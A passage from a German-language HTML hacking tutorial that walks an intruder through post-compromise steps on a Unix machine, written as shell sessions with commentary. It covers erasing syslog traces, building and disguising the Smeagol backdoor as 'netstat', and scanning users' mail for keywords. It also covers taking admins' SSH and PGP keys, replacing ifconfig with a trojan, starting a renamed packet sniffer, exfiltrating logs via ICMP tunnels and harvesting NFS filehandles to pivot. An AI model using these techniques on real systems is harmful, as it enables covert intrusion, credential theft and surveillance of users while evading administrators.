1728 7 13:42 faillog</font>
1729 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1730 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16096 Jul&nbsp; 7 13:42
1731 lastlog</font>
1732 <br><font color="#FF0000">-rw-rw-r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1733 tty&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 207984 Jul&nbsp; 7 13:42
1734 wtmp</font>
1735 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1736 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 92502 Jul&nbsp; 7 13:49
1737 messages</font>
1738 <p><font color="#000000">Hier haben wir uns die Syslog-Files nochmal genauer
1739 angesehen und unsere Spuren verwischt.</font>
1740 <br><font color="#000000">Mit <b>fuser</b> kannst du unter anderem die
1741 PID des Processes feststellen, welcher ein bestimmte Datei benutzt.</font>
1742 <br><font color="#000000">In diesem Fall gehoert, wie zu erwarten, die
1743 PID 85 zu <b>syslogd</b>. Wir benoetigen die PID um <b>syslogd</b> das
1744 HUP-Signal zu senden, welches <b>syslogd</b> veranlasst die Logfiles neu
1745 zu oeffnen. Dies ist noetig, weil <b>syslogd</b> sonst einen <i>Inode </i>benutzt
1746 zu dem es kein File mehr, in unserem Fall </font><font color="#33FF33">messages</font><font color="#000000">,
1747 im Verz.</font><font color="#33FF33"> /var/log</font><font color="#000000">
1748 existiert.</font>
1749 <br><font color="#000000">Das Dumme an der Sache ist nur, dass <b>syslogd</b>
1750 eine Restart-Message in die Logfiles schreibt.</font>
1751 <br><font color="#000000">Jetzt fragst du dich sicherlich: "Warum erzaehlt
1752 der Typ mir den ganzen Gammel und macht es dann selbst nicht?"</font>
1753 <br><font color="#000000">Die Antwort ist einfach: Wir erzeugen keinen
1754 neuen <i>Inode </i>indem wir die Daten kopieren und nicht moven. Somit
1755 vermeiden wir zusaetzlich die Restart-Message von <b>syslogd</b>.</font>
1756 <br><font color="#000000">Wenn <b>syslogd</b> wichtige Logs zur Console
1757 oder zu einem TTY schreibt (s. </font><font color="#33FF33">/etc/syslog.conf</font><font color="#000000">),
1758 dann kannst du mit:</font>
1759 <br><font color="#FF0000">bash# yes " " > /dev/console</font>
1760 <br><font color="#FF0000">^C</font>
1761 <br><font color="#000000">den Bildschirm loeschen.</font>
1762 <br><font color="#000000">Wenn Logs auf einem Printer</font> ausgedruckt
1763 werden, dann sieht's relativ schlecht aus. Entweder hoffst du, dass das
1764 Papier/das Farbband leer war oder, dass der Admin es nicht sieht. ;)
1765 <br>Es ist mit einiger Wahrscheinlichkeit auch moeglich das Papier um einige
1766 Zeile zurueckzuschieben und deine Entries mehrmals mit anderen Kram zu
1767 ueberschreiben. Ich hab's noch nie ausprobiert und ueberlasse es deiner
1768 Phantasie und deinem Koennen das Problem zu loesen.
1769 <br>Mehr 'Glueck' hat man da schon, wenn die Daten auf einen extra Loghost
1770 gehen (du kannst nur beten, das sie nicht einfach eine Serielle-Verbindung
1771 benutzen); den du dann natuerlich hacken musst; oder es besser sein laesst,
1772 weil du dadurch nur die Aufmerksamkeit der Admins auf dich ziehst.
1773 <br>Die ganz paranoiden unter euch (was nicht unbedingt schlecht ist) sollten
1774 noch <b>identd</b> ersetzen; der TCP-Wrapper, Firewalls, etc benutzen <b>identd</b>
1775 um den Usernamen auf dem Remote Host zu eruieren.
1776 <p><font color="#FF0000">bash# cd /tmp/".. "</font>
1777 <br><font color="#FF0000">bash# tar xf smeagol_v4.4.4.tar</font>
1778 <br><font color="#FF0000">bash# cd V4.4.4</font>
1779 <br><font color="#FF0000">bash# make</font>
1780 <br><font color="#FF0000">cp smeagol.h.gen smeagol.h</font>
1781 <br><font color="#FF0000">make -f Makefile.gen</font>
1782 <br><font color="#FF0000">make[1]: Entering directory `/tmp/.. /V4.4.4'</font>
1783 <br><font color="#FF0000">cc&nbsp; -c cmds.c</font>
1784 <br><font color="#FF0000">cc -DGENERIC -c remove.c</font>
1785 <br><font color="#FF0000">cc -c stdnet.c error.c</font>
1786 <br><font color="#FF0000">cc&nbsp; -c smeagol.c</font>
1787 <br><font color="#FF0000">cc -c tty-intruder.c</font>
1788 <br><font color="#FF0000">cc -c auth.c</font>
1789 <br><font color="#FF0000">cc&nbsp; -c ah.c</font>
1790 <br><font color="#FF0000">cc -c strhide.c</font>
1791 <br><font color="#FF0000">cc -O2 -o smeagol cmds.o remove.o stdnet.o error.o
1792 smeagol.o tty-intruder.o auth.o ah.o strhide.o</font>
1793 <br><font color="#FF0000">strip smeagol</font>
1794 <br><font color="#FF0000">make[1]: Leaving directory `/tmp/.. /V4.4.4'</font>
1795 <br><font color="#FF0000">bash# mv smeagol "netstat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1796 "</font>
1797 <br><font color="#FF0000">bash# ./netstat*</font>
1798 <br><font color="#FF0000">LOCK&lt;-KEY:</font>
1799 <br><font color="#FF0000">bash# telnet</font>
1800 <br><font color="#FF0000">telnet> o localhost 1524</font>
1801 <br><font color="#FF0000">Trying 127.0.0.1...</font>
1802 <br><font color="#FF0000">Connected to localhost.</font>
1803 <br><font color="#FF0000">Escape character is '^]'.</font>
1804 <p><font color="#FF0000">hixer</font>
1805 <p><font color="#FF0000"><font size=+4>WELCOME</font></font>
1806 <br><font color="#FF0000"><font size=+4>CYBERSPAWN</font></font>
1807 <br>&nbsp;
1808 <p><font color="#FF0000">[/] Simon says: helpme</font>
1809 <br><font color="#FF0000">bye&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1810 :&nbsp; close Session</font>
1811 <br><font color="#FF0000">remove &lt;user>&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;
1812 starts Simple Nomad's LogCleaner</font>
1813 <br><font color="#FF0000">maskas &lt;user>&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;
1814 mask Process with EUID of &lt;user></font>
1815 <br><font color="#FF0000">cd &lt;direc>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1816 :&nbsp; make a chdir() call</font>
1817 <br><font color="#FF0000">ttyhij &lt;tty>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1818 :&nbsp; hijack a TTY session</font>
1819 <br><font color="#FF0000">accth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1820 :&nbsp; Start Zhart's Acct Handler (not available)</font>
1821 <br><font color="#FF0000">helpme&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1822 :&nbsp; You guessed it right...</font>
1823 <p><font color="#FF0000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1824 Smeagol was written by</font>
1825 <br><font color="#FF0000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1826 TICK</font>
1827 <br>&nbsp;
1828 <p><font color="#FF0000">[/] Simon says: bye</font>
1829 <br><font color="#FF0000">Bye</font>
1830 <br>&nbsp;
1831 <p><font color="#FF0000">Connection closed by foreign host.</font>
1832 <br><font color="#FF0000">bash#</font>
1833 <p><font color="#000000">Um uns den Remote-Zugang zum System zu erhalten
1834 benutzen wir einen Backdoor-Server.</font>
1835 <br><font color="#000000">Falls ich einen Backdoor-Server verwende benutze
1836 ich meinen eigenen. </font>Smeagol&nbsp; ist sehr gut darin seine Existenz
1837 <br>zu verschleiern aber leider laeuft er bisher nur auf AIX und Linux.
1838 Fuer andere Systeme koennen z.B. simple Perl-Backdoors benutzt werden oder
1839 portiere Smeagol einfach zu 'nem anderen Unix-Derivat und sende mir dann
1840 bitte deine Version.
1841 <br>Nunja, am Betsen ist es natuerlich ein Backdoor-LKM zu verwenden, aber
1842 es ist schwer an die noetigen Informationen fuer die verschieden Unix-Abkoemmlinge
1843 zu gelangen - frag' mal in den News rum.
1844 <br>Es ist sehr wichtig, dass du vor der Installation den genauen Pfad
1845 zu den Logfiles, das Passwort und die richtigen Namen fuer die Daemons,
1846 fuer die sich Smeagol ausgeben soll, angibst. Falls auf dem System das
1847 <i>Process-Accounting
1848 </i>aktiviert
1849 worden ist musst du auch dafuer die entsprechenden Aenderungen im Source-Code
1850 und im Makefile machen.
1851 <br>Zum Aendern der verschluesselten Strings solltest du <b>convert</b>
1852 benutzen. Als XOR-Value (F1) musst du den Default-XOR-Wert angeben, der
1853 als Define in 'strhide.h' verwendet wird. Der Output muss gefixt werden
1854 (F3).
1855 <br>Ich habe Smeagol nach <font color="#000000">"netstat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1856 " ge'movet um argv[0] gross genug zu machen, damit beim Ueberschreiben
1857 der Process-Tableeintraege nicht die hinteren Buchstaben abgeschnitten
1858 werden, und desweiteren sieht der Aufruf von <b>netstat</b> ungefaehrlicher
1859 aus als der Aufruf von <b>smeagol </b>- spez. beim Proc-Acct.</font>
1860 <p><font color="#FF0000">bash# cd /var/cron/tabs</font>
1861 <br><font color="#FF0000">bash# ls -al</font>
1862 <br><font color="#FF0000">&nbsp;total 3</font>
1863 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1864 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 25 11:56
1865 ./</font>
1866 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 3 root&nbsp;&nbsp;&nbsp;&nbsp;
1867 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57
1868 ../</font>
1869 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;
1870 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 258 Jan 25 11:56
1871 root</font>
1872 <br><font color="#FF0000">bash# cat root</font>
1873 <br><font color="#FF0000"># DO NOT EDIT THIS FILE - edit the master and
1874 reinstall.</font>
1875 <br><font color="#FF0000"># (/tmp/crontab.326 installed on Sat Jul 25 11:56:24
1876 1998)</font>
1877 <br><font color="#FF0000"># (Cron version -- $Id: crontab.c,v 2.13 1994/01/17
1878 03:20:37 vixie Exp $)</font>
1879 <br><font color="#FF0000">#</font>
1880 <br><font color="#FF0000"># run Tripwire at 3.00 pm every day</font>
1881 <br><font color="#FF0000">00 15 * * * (/root/bin/runtw)</font>
1882 <br><font color="#FF0000">bash# cd /root/bin</font>
1883 <br><font color="#FF0000">bash# file runtw</font>
1884 <br><font color="#FF0000">runtw: Bourne shell script text</font>
1885 <br><font color="#FF0000">bash# cat runtw</font>
1886 <br><font color="#FF0000">#!/bin/sh</font>
1887 <br><font color="#FF0000">/bin/mount -r -t ext2 -v /dev/fd0 /fd0/tripwire
1888 || exit 1</font>
1889 <br><font color="#FF0000">/fd0/tripwire/bin/tripwire</font>
1890 <br><font color="#FF0000">/bin/umount /dev/fd0</font>
1891 <p><font color="#FF0000">exit 0</font>
1892 <br><font color="#FF0000">bash# mount -t ext2 /dev/fd0 /mnt</font>
1893 <br><font color="#FF0000">mount: block device /dev/fd0 is write-protected,
1894 mounting read-only</font>
1895 <br><font color="#FF0000">/dev/fd0 on /mnt type ext2 (ro)</font>
1896 <br><font color="#FF0000">bash# cd /mash# cd /mnt</font>
1897 <br><font color="#FF0000">bash# ls -al</font>
1898 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
1899 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
1900 1997 .</font>
1901 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 4 root&nbsp;&nbsp;&nbsp;&nbsp;
1902 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
1903 1997 ..</font>
1904 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1905 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:40
1906 Config</font>
1907 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1908 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:34
1909 Databases</font>
1910 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1911 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:57
1912 bin</font>
1913 <br><font color="#FF0000">bash# ls -alR .</font>
1914 <br><font color="#FF0000">total 5</font>
1915 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
1916 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
1917 1997 .</font>
1918 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 4 root&nbsp;&nbsp;&nbsp;&nbsp;
1919 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
1920 1997 ..</font>
1921 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1922 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:40
1923 Config</font>
1924 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1925 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:34
1926 Databases</font>
1927 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1928 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:57
1929 bin</font>
1930 <p><font color="#FF0000">Config:</font>
1931 <br><font color="#FF0000">total 4</font>
1932 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1933 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:40
1934 .</font>
1935 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
1936 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
1937 1997 ..</font>
1938 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1939 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 387 Jul 23 13:34
1940 tw.config</font>
1941 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1942 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 387 Jul 23 13:40
1943 tw.config.bak</font>
1944 <p><font color="#FF0000">Databases:</font>
1945 <br><font color="#FF0000">total 2</font>
1946 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1947 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:34
1948 .</font>
1949 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
1950 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
1951 1997 ..</font>
1952 <p><font color="#FF0000">bin:</font>
1953 <br><font color="#FF0000">total 425</font>
1954 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1955 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:57
1956 .</font>
1957 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
1958 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
1959 1997 ..</font>
1960 <br><font color="#FF0000">-rwxr-xr-x&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1961 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 128745 Jul 23 13:45 tripwire</font>
1962 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1963 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 299814 Jul 29&nbsp; 1997 tripwire-1.2.tar.gz</font>
1964 <br><font color="#FF0000">bash# cd Config</font>
1965 <br><font color="#FF0000">bash# cat tw.config</font>
1966 <br><font color="#FF0000"># Check root's binaries</font>
1967 <br><font color="#FF0000">/root/bin</font>
1968 <p><font color="#FF0000"># Check TripWire's Database-, Config- and TAR-File</font>
1969 <br><font color="#FF0000">/fd0/tripwire</font>
1970 <p><font color="#FF0000"># Check System-Files and -Binaries</font>
1971 <br><font color="#FF0000">/etc/passwd</font>
1972 <br><font color="#FF0000">/etc/skel</font>
1973 <br><font color="#FF0000">/etc/aliases</font>
1974 <br><font color="#FF0000">/etc/exports</font>
1975 <br><font color="#FF0000">/etc/fstab</font>
1976 <br><font color="#FF0000">/etc/ftpusers</font>
1977 <br><font color="#FF0000">/etc/group</font>
1978 <br><font color="#FF0000">/etc/hosts</font>
1979 <br><font color="#FF0000">/etc/inetd.conf</font>
1980 <br><font color="#FF0000">/etc/inittab</font>
1981 <br><font color="#FF0000">/etc/lilo.conf</font>
1982 <br><font color="#FF0000">/etc/profile</font>
1983 <br><font color="#FF0000">/etc/sendmail.cf</font>
1984 <br><font color="#FF0000">/etc/sudoers</font>
1985 <br><font color="#FF0000">/etc/syslog.conf</font>
1986 <br><font color="#FF0000">/bin</font>
1987 <br><font color="#FF0000">/usr/bin</font>
1988 <br><font color="#FF0000">/usr/local/bin</font>
1989 <br><font color="#FF0000">bash#</font>
1990 <p><font color="#000000">Bevor wir irgendwelche Files ersetzen oder aendern
1991 sollten wir ueberpruefen ob die Admins einen Integry-Checker zum Schutz
1992 vor Trojan-Horses etc. einsetzen. Auf diesem Rechner ist das der Fall.
1993 Grundsaetzlich kann ich nur sagen, dass du niemals so sicherheitsrelevante
1994 Files, wie z.B. '/etc/passwd' oder '/etc/inetd.conf', veraendern solltest;
1995 egal wie clever du vorgehst, die Admins werden es immer entdecken und meistens
1996 eher frueher als spaeter. Dasselbe gilt fuer SUID-Shells. Ich kann auch
1997 nur davon abraten die Tripwire-DB zu manipulieren, was in diesem Fall auch
1998 garnicht moeglich ist, da sich die DB auf 'ner write-protected Floppy befindet.</font>
1999 <br><font color="#000000">Natuerlich koenntest du fuer Linux die weit verbreiteten
2000 Loadable-Kernel-Modules (LKMs) verwenden um die Syscalls zu verbiegen,
2001 damit du dein Trojan-Horse in den Kernel verlegst, oder spez. fuer Tripwire,
2002 die Zugriffe auf die geschuetzten Files manipulierst. Ich halte solche
2003 Eingriffe in das System fuer zu Aufwendig und folglich Auffaellig. Was
2004 mir hingegen gefaellt sind gute LKMs, die die Praesenz von bestimmten Dingen,
2005 wie Files, User, LKMs etc, verbergen. Mit soeinem 'Hide-LKM' ist es dann
2006 auch moeglich SUID-Shell im System zu verschtecken.</font>
2007 <p><font color="#FF0000">bash# cd /tmp/".. "</font>
2008 <br><font color="#FF0000">bash# cat > wl.mail</font>
2009 <br><font color="#FF0000">hacker</font>
2010 <br><font color="#FF0000">cracker</font>
2011 <br><font color="#FF0000">intrusion</font>
2012 <br><font color="#FF0000">security</font>
2013 <br><font color="#FF0000">break-in</font>
2014 <br><font color="#FF0000">hack</font>
2015 <br><font color="#FF0000">password</font>
2016 <br><font color="#FF0000">login</font>
2017 <br><font color="#FF0000">account</font>
2018 <br><font color="#FF0000">tripwire</font>
2019 <br><font color="#FF0000">integry</font>
2020 <br><font color="#FF0000">sniffer</font>
2021 <br><font color="#FF0000">cpm</font>
2022 <br><font color="#FF0000">ifconfig</font>
2023 <br><font color="#FF0000">military</font>
2024 <br><font color="#FF0000">.ml</font>
2025 <br><font color="#FF0000">.gov</font>
2026 <br><font color="#FF0000">^C</font>
2027 <br><font color="#FF0000">bash# cat > wl.log</font>
2028 <br><font color="#FF0000">source.ass</font>
2029 <br><font color="#FF0000">johnny</font>
2030 <br><font color="#FF0000">^C</font>
2031 <br><font color="#FF0000">bash# ./searcher -vvv -rnf -m wl.mail -l wl.log
2032 > s.res &amp;</font>
2033 <br><font color="#FF0000">[1] 454</font>
2034 <br><font color="#FF0000">bash#</font>
2035 <p>Searcher&nbsp; sucht nun nach den angegeben Wortern in den E-Mails der
2036 User bzw. in den Syslog-Files (doppelt haelt besser) und zuseatzlich verschafft
2037 es uns weitere Informationen, die uns den Zugang zu anderen Systemen ermoeglichen
2038 koennen.
2039 <br>Searcher ist auch sehr nuetzlich, wenn du Informationen ueber ganz
2040 bestimmte Sachen suchst, z.B. ueber irgendwelche Forschungs-Projekte, die
2041 sich natuerlich mit Internet-Security &amp; Co. beschaeftigen, oder wenn
2042 du Daten ueber deine Noten im Verwaltungs-Server deiner Uni suchst ;).
2043 Um die Suche etwas zu beschleunigen kannst du dich nur auf ausgewaehlte
2044 Gruppen von Usern beschraenken.
2045 <br>Am besten ist es wenn du Searcher schon frueh startest, da er viel
2046 Zeit benoetigt.
2047 <br>Das Resultat von Searcher's Arbeit kannst du am besten mit 'gzip --best'
2048 komprimieren, mit 'uuencode' ausgeben lassen und nach dem Hack aus deinen
2049 Logs extrahieren um es zu analysieren.
2050 <p>Jetzt ist der richtige Zeitpunkt gekommen um sich um die Admins zu kuemmern.
2051 <br>Du solltest dir von jedem Admin das Home-Direc. angucken, dein Augenmerk
2052 sollte dabei auf das Bin-Direc. und das History-File fallen (SSH-, PGP-Keys
2053 und .Xauthority Files solltest du dir als Bonus mitnehmen). Du wirst mit
2054 Sicherheit weitere Securitytools, wie z.B. <b>cpm</b> (<i>Promiscuous-Mode</i>
2055 Checker), finden, und das History-File gibt dir Auskunft ueber das Verhalten
2056 der Admins, z.B.: auf welchen Rechner sie arbeiten, ob sie das root-Passwort
2057 kennen, welche Befehle sie ausfuehren und demnach welche Aufgaben sie haben.
2058 <br>Wenn Admins haeufig <b>su</b> ausfuehren und dabei nicht den vollen
2059 Path angeben sind sie ein perfektes Ziel fuer spaetere PATH/Trojan-Horse
2060 Attacken.
2061 <p><font color="#FF0000">bash# which ifconfig</font>
2062 <br><font color="#FF0000">/sbin/ifconfig</font>
2063 <br><font color="#FF0000">bash# cd /tmp/".. "</font>
2064 <br><font color="#FF0000">bash# fix /sbin/ifconfig ./ifconfig ./ic.bak</font>
2065 <br><font color="#FF0000">fixer: Last 17 bytes not zero</font>
2066 <br><font color="#FF0000">fixer: Can't fix checksum</font>
2067 <br><font color="#FF0000">bash# showmount -e localhost</font>
2068 <br><font color="#FF0000">/cdrom&nbsp; pc-01.pool.domain.com</font>
2069 <br><font color="#FF0000">bash# mv linsniffer nfsiod</font>
2070 <br><font color="#FF0000">bash# export PATH=.:$PATH</font>
2071 <br><font color="#FF0000">bash# nfsiod</font>
2072 <p><font color="#000000">Als letztes installieren wir noch unseren <i>Ethernet-Sniffer</i>.
2073 Wir ersetzen <b>ifconfig</b> mit einer modifizierten Version, die nicht
2074 anzeigt ob eine Netzwerkarte in den <i>Promiscuous-Mode </i>geschalltet
2075 ist. Falls ein Admin <b>cpm</b> o.ae. benutzt, solltest du es ebenfalls
2076 ersetzen - aber denke immer an Integry-Checker, in diesem Fall ist '/sbin'
2077 nicht Teil der Tripwire-DB. Auf hochsicheren Rechnern wuerde ich niemals
2078 Prog.s ersetzen, da die Wahrscheinlichkeit hoch ist, dass sich doch irgendwo
2079 ein Integry-Checker verbirgt, den man uebersehen hat (im Fall des Sniffers
2080 waere es denkbar ein LKM in den Kernel zu laden um den <i>ioctl()</i> Systemcall
2081 zu verbiegen und das PROMISC Flag nicht mehr anzuzeigen).</font>
2082 <br><font color="#000000">Frueher wurde haeufig das Prog. <b>sum</b> fuer
2083 die Checksum-Erstellung benutzt, leider (?) erstellt <b>sum</b> kryptographisch
2084 unsichere Hashwerte. Das Tool <b>fix</b>/<b>fixer</b> nutzt diesen 'Fehler'
2085 aus, ich habe es hier nur verwendet, weil es die Zeiten anpasst und ein
2086 Backup erstellt. Da <b>sum</b> so gut wie garnicht mehr benutzt wird ist
2087 es auch nicht wichtig, dass die Checksum nicht gefixt wurde, falls du es
2088 aber doch besser findest, dann haenge einfach ein paar Nullen an dein Trojan-Horse
2089 undzwar wie folgt</font>
2090 <br><font color="#FF0000">bash# cat /dev/zero >> ./ifconfig</font>
2091 <br><font color="#FF0000">^C</font>
2092 <br><font color="#000000">Anschliesend starten wir den Sniffer nachdem
2093 wir ihm einen unauffaelligen Namen verpasst haben. Wenn der Admin irgendein
2094 Verzeichnis exportiert, das jedermann mounten kann, dann solltest du dein
2095 Snifflog-File dorthin schreiben lassen. Aber ich bevorzuge die </font>Collector-Library&nbsp;
2096 oder noch besser, insbesondere bei Firewalls, die&nbsp; ICMP-Tunnel-Library
2097 .
2098 <br>Kleine Anekdote: Ich hab' mal 'ne Zeit lang meine Snifferlogs via ICMP-Tunnel
2099 von 'nem Bastion-Host zu 'nem auslaendischen Rechner 'geschmuggelt'; es
2100 funktionierte wunderbar und wurde nicht endeckt.
2101 <p><font color="#FF0000">bash# mount</font>
2102 <br><font color="#FF0000">/dev/hda4 on / type ext2 (rw)</font>
2103 <br><font color="#FF0000">proc on /proc type proc (rw)</font>
2104 <br><font color="#FF0000">/dev/hda1 on /dos type msdos (rw)</font>
2105 <br><font color="#FF0000">/dev/hda2 on /tmp type ext2 (rw)</font>
2106 <br><font color="#FF0000">nfsserver:/nfs_mnt/usr on /usr type nfs (ro,intr,addr=10.255.0.34)</font>
2107 <p><font color="#FF0000">bash# showmount -e nfsserver</font>
2108 <br><font color="#FF0000">Export list for nfsserver:</font>
2109 <br><font color="#FF0000">/nfs_mnt/usr victim.domain.com</font>
2110 <br><font color="#FF0000">[...]</font>
2111 <p><font color="#FF0000">bash# askhandle nfsserver /nfs_mnt/usr > nfsserver-nfs_mnt.filehandle</font>
2112 <br><font color="#FF0000">bash# cat nfsserver-nfs*</font>
2113 <br><font color="#FF0000">nfsserver /nfs_mnt 1e 91 13 52 01 50 00 00 02
2114 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</font>
2115 <p>Jetzt, wo wir root Rechte besitzen koennen wir uns weitere Informationen
2116 beschaffen, die uns den Weg zurueck ins Netz ermoeglichen koennen. Was
2117 hier etwas kryptisch aussieht ist nichts weiter als das NFS-Filehandle
2118 fuer das Verzeichnis <font color="#33FF33">/nfs_mnt</font> des NFS-Servers
